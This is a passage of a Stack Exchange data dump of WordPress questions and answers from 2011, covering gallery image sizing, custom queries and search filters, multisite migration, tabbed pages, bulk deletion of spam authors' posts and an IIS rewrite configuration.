  <row Id="10420" PostTypeId="1" CreationDate="2011-02-25T10:26:52.840" Score="1" ViewCount="480" Body="&lt;p&gt;I'm building a site for a photographer that's very minimalist - basically just a sidebar and and the images in the body. The next gen Image browser resizes all images to keep the width constant, but this looks strange when your working with a mix of vertical and horizontal images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to have the images keep their original size or even for them to use the height as the constant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried with CSS, but that still keeps the width as a constant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I've scoured the files to try and find which function controls this, but there are so many files I haven't been able to find it. I know it's not imagebrowser.php. I'm not even sure if the image is resized through php or js.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody have any ideas/suggestions. I'd love to know which functions control the image browser width constant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!!!&lt;/p&gt;&#xA;" OwnerUserId="3498" LastEditorUserId="3498" LastEditorDisplayName="" LastEditDate="2011-02-25T10:57:14.740" LastActivityDate="2011-02-25T10:57:14.740" Title="NextGen gallery image browser images resize to keep a constant width" Tags="&lt;plugin-nextgen-gallery&gt;" />
  <row Id="10421" PostTypeId="1" AcceptedAnswerId="10423" CreationDate="2011-02-25T10:33:50.027" Score="0" ViewCount="149" Body="&lt;p&gt;I need to get any posts by an id list ($id_list), here is my codes&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts(array('posts_per_page'=&amp;gt;-1,&#xA;               'caller_get_posts'=&amp;gt;1,&#xA;               'post_type'=&amp;gt;'any',&#xA;               'post__in'=&amp;gt;$id_list)&#xA;           );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i got posts and pages by this query, but attachments don't get included, i found they are filtered by 'post_type=any' which actually doesn't include attachment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do i get them all without have to do an extra query?&lt;/p&gt;&#xA;" OwnerUserId="2426" LastEditorUserId="2426" LastEditorDisplayName="" LastEditDate="2011-02-25T11:02:21.863" LastActivityDate="2011-02-27T10:26:11.013" Title="How to get any type posts include attachments by ids?" Tags="&lt;query-posts&gt;&lt;attachments&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="10422" PostTypeId="2" ParentId="10418" CreationDate="2011-02-25T10:40:44.173" Score="4" ViewCount="" Body="&lt;p&gt;You should try using the theme check plugin at &lt;a href=&quot;http://wordpress.org/extend/plugins/theme-check/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/theme-check/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3071" LastActivityDate="2011-02-25T10:40:44.173" />
  <row Id="10423" PostTypeId="2" ParentId="10421" CreationDate="2011-02-25T11:13:19.137" Score="1" ViewCount="" Body="&lt;p&gt;'post_type'=&gt;'any' should get you all types except revisions so you should get the attachments but if you don't try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts( array( &#xA;               'posts_per_page' =&amp;gt; -1,&#xA;               'ignore_stickies' =&amp;gt; 1,&#xA;               'post_type'=&amp;gt; array( 'post', 'page', 'attachment' ),&#xA;               'post_status' =&amp;gt; array( null ),&#xA;               'post__in'=&amp;gt; $id_list &#xA;) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;As  t31os pointed out that:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Attachments don't have a publish&#xA;  status, which is default for the query&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;so i added to the query_posts array &lt;code&gt;'post_status' =&amp;gt; null&lt;/code&gt; and that should fix your query&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-02-27T10:26:11.013" LastActivityDate="2011-02-27T10:26:11.013" CommentCount="4" />
  <row Id="10424" PostTypeId="1" AcceptedAnswerId="10425" CreationDate="2011-02-25T11:27:54.513" Score="1" ViewCount="408" Body="&lt;p&gt;I'm currently working on a search function in a wp site. The plan is to have a search function on the news page which just searches posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm achieving this by adding the below to my functions.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   /* search just posts */&#xA;function SearchFilter($query) {&#xA;  if ($query-&amp;gt;is_search) {&#xA;  $query-&amp;gt;set('post_type', 'post');&#xA;}&#xA;return $query;&#xA;}&#xA;&#xA; add_filter('pre_get_posts','SearchFilter');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which works fine. BUT. I also need to create a search on a custom post type listing - for just the custom posts and also one for the entire site to live on the 404 page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas how to go about this greatly appreciated?&lt;/p&gt;&#xA;" OwnerUserId="2595" LastActivityDate="2011-02-25T12:15:35.937" Title="Create multiple Search functions for posts / custom post types and everything" Tags="&lt;search&gt;&lt;location-search&gt;&lt;pre-get-posts&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="10425" PostTypeId="2" ParentId="10424" CreationDate="2011-02-25T11:42:51.627" Score="3" ViewCount="" Body="&lt;p&gt;you can change your search filter to this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function SearchFilter($query) {&#xA;$post_type = $_GET['post_type'];&#xA;if (!$post_type) {&#xA;    $post_type = 'any';&#xA;}&#xA;if ($query-&amp;gt;is_search) {&#xA;    $query-&amp;gt;set('post_type', $post_type);&#xA;};&#xA;return $query;&#xA;}  &#xA;&#xA;add_filter('pre_get_posts','SearchFilter');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then on your news search form add :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;post_type&quot; value=&quot;post&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;on your custom post type listing search form add&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;post_type&quot; value=&quot;customtypename&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and on the entire site search for don't add anything&#xA;an you are set.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-02-25T12:15:35.937" LastActivityDate="2011-02-25T12:15:35.937" CommentCount="3" />
  <row Id="10426" PostTypeId="1" CreationDate="2011-02-25T12:22:40.320" Score="0" ViewCount="240" Body="&lt;p&gt;I would like to convert one of my WordPress multisite blogs back to a single install on another server.&#xA;it's not the main site but one of the subdomains. Is this possible?&lt;/p&gt;&#xA;" LastActivityDate="2011-02-25T14:40:58.987" Title="migrate a MU sub blog to a single install" Tags="&lt;multisite&gt;" AnswerCount="3" />
  <row Id="10427" PostTypeId="2" ParentId="10426" CreationDate="2011-02-25T13:05:08.060" Score="2" ViewCount="" Body="&lt;p&gt;Use the Export function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's just like taking your blog off WordPress.com and switching to the .org standalone. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;'Cept you also have access to the themes &amp;amp; plugins files.&lt;/p&gt;&#xA;" OwnerUserId="1391" LastActivityDate="2011-02-25T13:05:08.060" CommentCount="4" />
  <row Id="10428" PostTypeId="2" ParentId="10385" CreationDate="2011-02-25T13:10:39.857" Score="2" ViewCount="" Body="&lt;p&gt;If you have the white band, but no menu, you are most likely missing the &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_footer(): ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From the bottom of your footer.php, should be just above &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;/body&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://voodoopress.com/2011/02/wordpress-3-1-admin-bar-upgrade-issues/&quot; rel=&quot;nofollow&quot;&gt;http://voodoopress.com/2011/02/wordpress-3-1-admin-bar-upgrade-issues/&lt;/a&gt;&#xA;is a post I'm keeping up to date as I come across things to help people with the admin bar.  &lt;/p&gt;&#xA;" OwnerUserId="3429" LastActivityDate="2011-02-25T13:10:39.857" CommentCount="2" />
  <row Id="10429" PostTypeId="1" CreationDate="2011-02-25T12:10:50.487" Score="1" ViewCount="318" Body="&lt;p&gt;Does anyone know if there is a Wordpress plugin for the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say we have a page with certain information, for instance details about a product. I could make a link to another page with details about the pricing for that product, but I would like to have this accessible from the first page via a switchable button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like a two part button (tabs?) on the top of the page. Clicking part/tab A would show product details, clicking part/tab B would show the pricing information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think I have seen this implementation before, but can't find it.&lt;/p&gt;&#xA;" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-02-25T14:05:48.140" LastActivityDate="2011-03-02T12:26:24.713" Title="Wordpress multiple pages on one page via button switching" Tags="&lt;plugins&gt;&lt;tabs&gt;" AnswerCount="3" CommentCount="0" />
  <row Id="10430" PostTypeId="1" CreationDate="2011-02-25T13:49:43.527" Score="0" ViewCount="224" Body="&lt;p&gt;I am using cforms 2 plugin for a few forms I have on a website I am working on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I double and triple checked the settings and I tried with different mail addresses but I do not get any confirmation email from any form. I do get the admin email to any mail address I enter, but not the confirmation email.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a setting screenshot &lt;a href=&quot;http://awesomescreenshot.com/00c805cec&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The theme I am currently using sends out emails correctly from built-in forms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone come across similar issues? I posted the same on the plugin support forum without any luck so far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help will be greatly appreciated&lt;/p&gt;&#xA;" OwnerUserId="2618" LastActivityDate="2011-02-25T13:49:43.527" Title="Cforms plugin. Confirmation emails never sent" Tags="&lt;email&gt;" CommentCount="1" />
  <row Id="10432" PostTypeId="2" ParentId="10429" CreationDate="2011-02-25T14:05:08.937" Score="0" ViewCount="" Body="&lt;p&gt;if you want to create tabs on your own the this article &lt;a href=&quot;http://michaelwender.com/2010/11/01/creating-wordpress-shortcodes-for-jquery-tools-tabs/&quot; rel=&quot;nofollow&quot;&gt;http://michaelwender.com/2010/11/01/creating-wordpress-shortcodes-for-jquery-tools-tabs/&lt;/a&gt; is a great place to start&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and if you want you can use one of these plugins:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-post-tabs/&quot; rel=&quot;nofollow&quot;&gt;WordPress Post Tabs&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/posttabs/&quot; rel=&quot;nofollow&quot;&gt;postTabs&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/ctabs/&quot; rel=&quot;nofollow&quot;&gt;cTabs&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/nicetabs/&quot; rel=&quot;nofollow&quot;&gt;niceTabs&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Hope this Helps&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-25T14:05:08.937" />
  <row Id="10433" PostTypeId="2" ParentId="10426" CreationDate="2011-02-25T14:14:19.737" Score="-1" ViewCount="" Body="&lt;p&gt;the codex has a great article called &quot;&lt;a href=&quot;http://codex.wordpress.org/Migrating_Multiple_Blogs_into_WordPress_3.0_Multisite&quot; rel=&quot;nofollow&quot;&gt;Migrating Multiple Blogs into WordPress 3.0 Multisite&lt;/a&gt;&quot; making it simple to follow steps that should get you Migrating in no time.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-25T14:14:19.737" CommentCount="2" />
  <row Id="10434" PostTypeId="2" ParentId="10426" CreationDate="2011-02-25T14:40:58.987" Score="0" ViewCount="" Body="&lt;p&gt;I wouldn't bet my life on the export function.  It's worth a try though, just check your data afterwards.  Export doesn't move images, media files, etc.  So if you have a lot of images, you might wish you used relative URLs ;-)  &lt;/p&gt;&#xA;" OwnerUserId="3453" LastActivityDate="2011-02-25T14:40:58.987" CommentCount="1" />
  <row Id="10435" PostTypeId="2" ParentId="10429" CreationDate="2011-02-25T14:49:16.730" Score="1" ViewCount="" Body="&lt;p&gt;I would use jQuery tabs because they look slick and it's your best bet to keep up with all the various browser idiosyncrasies. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://jqueryui.com/demos/tabs/&quot; rel=&quot;nofollow&quot;&gt;http://jqueryui.com/demos/tabs/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3453" LastActivityDate="2011-02-25T14:49:16.730" CommentCount="1" />
  <row Id="10436" PostTypeId="2" ParentId="10417" CreationDate="2011-02-25T14:59:41.223" Score="0" ViewCount="" Body="&lt;p&gt;I think you can do a left join :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;left join &#xA;    $wpdb-&amp;gt;postmeta my_field_meta on (p.ID = my_field_meta.post_id and &#xA;                                      my_field_meta.meta_key = 'subscribe') &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where &lt;em&gt;&quot;subscribe&quot;&lt;/em&gt; it's the name of your custom field. So your code could be: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $dayswithposts = $wpdb-&amp;gt;get_results(&quot;SELECT DISTINCT DAYOFMONTH(p.post_date)&#xA;    FROM $wpdb-&amp;gt;posts as p&#xA;    LEFT JOIN &#xA;        $wpdb-&amp;gt;postmeta my_field_meta on (p.ID = my_field_meta.post_id and &#xA;                                          my_field_meta.meta_key = 'subscribe')     &#xA;    WHERE MONTH(p.post_date) = '$thismonth'&#xA;    AND YEAR(p.post_date) = '$thisyear'&#xA;    AND p.post_type = 'post' AND p.post_status = 'publish'&#xA;    AND p.post_date &amp;lt; '&quot; . current_time('mysql') . '\'', ARRAY_N);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3414" LastActivityDate="2011-02-25T14:59:41.223" CommunityOwnedDate="2011-02-25T14:59:41.223" CommentCount="3" />
  <row Id="10437" PostTypeId="1" CreationDate="2011-02-25T15:00:16.527" Score="0" ViewCount="201" Body="&lt;p&gt;I unfortunately have authors with a lot of unreadable/spam posts published (thousands some of them)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried deleting through admin,but its a slow painful process-does anyone have a specific SQL command i can use that can be edited for each authors name,and delete all posts associated with that author?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" LastActivityDate="2011-05-10T13:45:28.093" Title="I need a SQL command to delete specific authors and all posts connected with them" Tags="&lt;sql&gt;" AnswerCount="4" />
  <row Id="10438" PostTypeId="1" AcceptedAnswerId="10444" CreationDate="2011-02-25T15:02:51.907" Score="0" ViewCount="195" Body="&lt;p&gt;How to display a list of posts from today date to future?&#xA;I am actually using this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;news-loop&quot;&amp;gt;&#xA;&amp;lt;?php if (have_posts()) : ?&amp;gt;&#xA;                &amp;lt;?php query_posts('cat=4&amp;amp;showposts=6&amp;amp;orderby=date&amp;amp;order=DESC&amp;amp;post_status=future&amp;amp;post_status=published'); while (have_posts()) : the_post(); ?&amp;gt;&#xA;                &amp;lt;p&amp;gt;&amp;lt;?php the_time('j F, Y') ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;                &amp;lt;p&amp;gt;&amp;lt;a  href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; &amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;?php endwhile; ?&amp;gt;&#xA;        &amp;lt;?php else : ?&amp;gt;&#xA;   &amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is showing correctly all the posts and future posts for that category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An additional problem is: since I'm using &quot;post_status=future&amp;amp;post_status=published&quot; I have to trash the old posts to avoid them being displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help!&lt;/p&gt;&#xA;" OwnerUserId="2119" LastActivityDate="2011-02-25T15:43:53.230" Title="Display posts starting from today date" Tags="&lt;date-time&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="10440" PostTypeId="2" ParentId="10437" CreationDate="2011-02-25T15:25:34.907" Score="0" ViewCount="" Body="&lt;p&gt;Not an SQL command but a simple function that gets an author id and deletes all of his posts, that way you delete post meta of these posts too.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function delete_posts_by_author($author_ID){&#xA;    $args = array('author' =&amp;gt; $author_ID, 'posts_per_page' =&amp;gt; -1);&#xA;    $the_query = new WP_Query( $args );&#xA;    if ( have_posts() ) { &#xA;        while ( have_posts() ) { &#xA;            the_post(); &#xA;            wp_delete_post( $post-&amp;gt;ID, true );&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;usage: &lt;code&gt;delete_posts_by_author(3);&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-25T15:25:34.907" CommentCount="1" />
  <row Id="10441" PostTypeId="2" ParentId="10437" CreationDate="2011-02-25T15:30:02.127" Score="0" ViewCount="" Body="&lt;p&gt;I'm not an SQL expert, so make sure to test this code before using it (tip: replace &lt;code&gt;DELETE&lt;/code&gt; with &lt;code&gt;SELECT *&lt;/code&gt; to test). Make sure to replace the indicated sections with the correct table and user information. And always make a backup before messing with your database!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Deletes posts for a specific user:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;DELETE FROM &amp;lt;YOUR WORDPRESS POSTS TABLE&amp;gt; p, &amp;lt;YOUR WORDPRESS USERS TABLE&amp;gt; u WHERE u.ID = &amp;lt;USER ID NUMBER YOU WANT TO REMOVE&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Deletes post meta for a specific user:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;DELETE FROM &amp;lt;YOUR WORDPRESS POSTMETA TABLE&amp;gt; p, &amp;lt;YOUR WORDPRESS USERS TABLE&amp;gt; u WHERE u.ID = &amp;lt;USER ID NUMBER YOU WANT TO REMOVE&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Deletes the user's account:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;DELETE FROM &amp;lt;YOUR WORDPRESS USERS TABLE&amp;gt; WHERE ID = &amp;lt;USER ID NUMBER YOU WANT TO REMOVE&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Deletes the user's account meta:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;DELETE FROM &amp;lt;YOUR WORDPRESS USERMETA TABLE&amp;gt; WHERE user_id = &amp;lt;USER ID NUMBER YOU WANT TO REMOVE&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Deletes any comments from that user:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;DELETE FROM &amp;lt;YOUR WORDPRESS COMMENTS TABLE&amp;gt; where user_id = &amp;lt;USER ID NUMBER YOU WANT TO REMOVE&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps!&lt;/p&gt;&#xA;" OwnerUserId="3298" LastEditorUserId="3298" LastEditorDisplayName="" LastEditDate="2011-02-25T15:38:56.013" LastActivityDate="2011-02-25T15:38:56.013" CommentCount="3" />
  <row Id="10442" PostTypeId="2" ParentId="10437" CreationDate="2011-02-25T15:31:57.023" Score="1" ViewCount="" Body="&lt;p&gt;You could also massively delete author's posts using a php file like: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require('wp-blog-header.php');&#xA;global $wpdb, $current_site;&#xA;&#xA;query_posts('author=11,161,23,6');  //the ID authors &#xA;&#xA;while ( have_posts() ) : the_post();&#xA;    wp_delete_post( $post-&amp;gt;ID, true );&#xA;endwhile;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After that you just need to delete the authors&lt;/p&gt;&#xA;" OwnerUserId="3414" LastActivityDate="2011-02-25T15:31:57.023" CommentCount="3" />
  <row Id="10443" PostTypeId="2" ParentId="10418" CreationDate="2011-02-25T15:35:27.123" Score="3" ViewCount="" Body="&lt;p&gt;Antivirus Check for Wordpress themes: &lt;a href=&quot;http://wpantivirus.com&quot; rel=&quot;nofollow&quot;&gt;http://wpantivirus.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3508" LastActivityDate="2011-02-25T15:35:27.123" />
  <row Id="10444" PostTypeId="2" ParentId="10438" CreationDate="2011-02-25T15:41:46.693" Score="1" ViewCount="" Body="&lt;p&gt;According to &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts&quot; rel=&quot;nofollow&quot;&gt;query_posts&lt;/a&gt; you could do a filtering function like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function filter_where( $where = '' ) {&#xA;    // where post_date &amp;gt; today&#xA;    $where .= &quot; AND post_date &amp;gt;= '&quot; . date('Y-m-d') . &quot;'&quot;; &#xA;    return $where;&#xA;}&#xA;add_filter( 'posts_where', 'filter_where' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then your &lt;code&gt;query_posts&lt;/code&gt; doesn't need to have &lt;code&gt;post_status&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="3414" LastActivityDate="2011-02-25T15:41:46.693" CommentCount="2" />
  <row Id="10445" PostTypeId="2" ParentId="10438" CreationDate="2011-02-25T15:43:42.863" Score="0" ViewCount="" Body="&lt;p&gt;I'm not sure if &lt;code&gt;post_status=future&amp;amp;post_status=published&lt;/code&gt; is the intended way. I guess it's like with &lt;code&gt;orderby=date whatever&lt;/code&gt; just separated with a space. What happens if you just let &lt;code&gt;published&lt;/code&gt; out of the query? I guess that's why you might bring up old posts. So far i got the only idea i got the filter out not already published future posts is a 2step process. The following is not tested and won't work out of the box. It should just give you an idea on where to look into the $post object and how to possibly avoid displaying posts that don't fit into your query.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$future_posts = query_posts( 'cat=4&amp;amp;showposts=6&amp;amp;orderby=date&amp;amp;order=DESC&amp;amp;post_status=future' );&#xA;if ( $future_posts-&amp;gt;have_posts() ) :&#xA;  while ( $future_posts-&amp;gt;have_posts()) : &#xA;    $future_posts-&amp;gt;the_post();&#xA;&#xA;    if ( $post['post_status'] !== 'published' ) :&#xA;       // do stuff&#xA;    endif;&#xA;&#xA;  endwhile;&#xA;endif;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-02-25T15:43:42.863" />
  <row Id="10446" PostTypeId="2" ParentId="10438" CreationDate="2011-02-25T15:43:53.230" Score="0" ViewCount="" Body="&lt;p&gt;first change you query_posts(...) to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;        'cat' =&amp;gt; 4,&#xA;        'posts_per_page' =&amp;gt; 6,&#xA;        'orderby' =&amp;gt; 'date',&#xA;        'order' =&amp;gt; 'DESC',&#xA;        'post_status' =&amp;gt;array('future','published'));&#xA;query_posts($args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then add this code to your theme's functions.php file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_filter_where( $where = '' ) {&#xA;&#xA;    global $wp_query;&#xA;&#xA;    if (is_array($wp_query-&amp;gt;query_vars['post_status'])){&#xA;&#xA;        if (in_array('future',$wp_query-&amp;gt;query_vars['post_status']){&#xA;        // posts today into the future&#xA;        $where .= &quot; AND post_date &amp;gt; '&quot; . date('Y-m-d', strtotime('now')) . &quot;'&quot;;&#xA;        }&#xA;    }&#xA;    return $where;&#xA;}&#xA;add_filter( 'posts_where', 'my_filter_where' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;now this is assumming that this is the only query that includes future posts otherwise you need to add a conditional parameter to the query and check for it in the filter function.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-25T15:43:53.230" />
  <row Id="10447" PostTypeId="1" AcceptedAnswerId="11264" CreationDate="2011-02-25T15:56:23.290" Score="1" ViewCount="242" Body="&lt;p&gt;I've seen the tutorials on how to grab the first image and display it in a post, and those on grabbing the post_thumbnail and using that in the RSS feed, but does anybody know how to grab the first image attached to a post and use that in the RSS feed?  Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1663" LastActivityDate="2011-03-05T23:27:39.963" Title="How to grab first image attached to post and display in RSS feed?" Tags="&lt;images&gt;&lt;rss&gt;&lt;feed&gt;&lt;post-thumbnails&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="10448" PostTypeId="1" CreationDate="2011-02-25T16:01:42.753" Score="0" ViewCount="297" Body="&lt;p&gt;I recently upgraded wordpress to 3.1 to be up to date, and because we decided we wanted to add a &quot;site&quot; and have the same installation of wordpress run both &quot;sites&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I followed the steps to turn on network and such.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to use &quot;sub-directory&quot; multisite configuration.  My wordpress installation resides in a folder /wp/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My first site (the original one) works just fine.  I had to switch the permalink back to page_id=3 style, but otherwise it has been flawless.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I went into network admin, and created a new site titled &quot;contract&quot;.   And it added into the network admin area.  I clicked visit site and got a 404&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Made sure IIS had the url rewrite feature, but I get a 404 everytime I go to domain.org/wp/contract/   or domain.org/wp/contract/wp-admin/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll attach my wp-config, web.config, and even an error from the webserver log. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I having a re-write issue?  Or a configuration issue?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;system.webServer&amp;gt;&#xA;   &amp;lt;rewrite&amp;gt;&#xA;        &amp;lt;rules&amp;gt;&#xA;            &amp;lt;rule name=&quot;WordPress Rule 1&quot; stopProcessing=&quot;true&quot;&amp;gt;&#xA;                &amp;lt;match url=&quot;^index\.php$&quot; ignoreCase=&quot;false&quot; /&amp;gt;&#xA;                &amp;lt;action type=&quot;None&quot; /&amp;gt;&#xA;            &amp;lt;/rule&amp;gt;&#xA;            &amp;lt;rule name=&quot;WordPress Rule 2&quot; stopProcessing=&quot;true&quot;&amp;gt;&#xA;                &amp;lt;match url=&quot;^([_0-9a-zA-Z-]+/)?files/(.+)&quot; ignoreCase=&quot;false&quot; /&amp;gt;&#xA;                &amp;lt;action type=&quot;Rewrite&quot; url=&quot;wp-includes/ms-files.php?file={R:2}&quot; appendQueryString=&quot;false&quot; /&amp;gt;&#xA;            &amp;lt;/rule&amp;gt;&#xA;            &amp;lt;rule name=&quot;WordPress Rule 3&quot; stopProcessing=&quot;true&quot;&amp;gt;&#xA;                &amp;lt;match url=&quot;^([_0-9a-zA-Z-]+/)?wp-admin$&quot; ignoreCase=&quot;false&quot; /&amp;gt;&#xA;                &amp;lt;action type=&quot;Redirect&quot; url=&quot;{R:1}wp-admin/&quot; redirectType=&quot;Permanent&quot; /&amp;gt;&#xA;            &amp;lt;/rule&amp;gt;&#xA;            &amp;lt;rule name=&quot;WordPress Rule 4&quot; stopProcessing=&quot;true&quot;&amp;gt;&#xA;                &amp;lt;match url=&quot;^&quot; ignoreCase=&quot;false&quot; /&amp;gt;&#xA;                &amp;lt;conditions logicalGrouping=&quot;MatchAny&quot;&amp;gt;&#xA;                    &amp;lt;add input=&quot;{REQUEST_FILENAME}&quot; matchType=&quot;IsFile&quot; ignoreCase=&quot;false&quot; /&amp;gt;&#xA;                    &amp;lt;add input=&quot;{REQUEST_FILENAME}&quot; matchType=&quot;IsDirectory&quot; 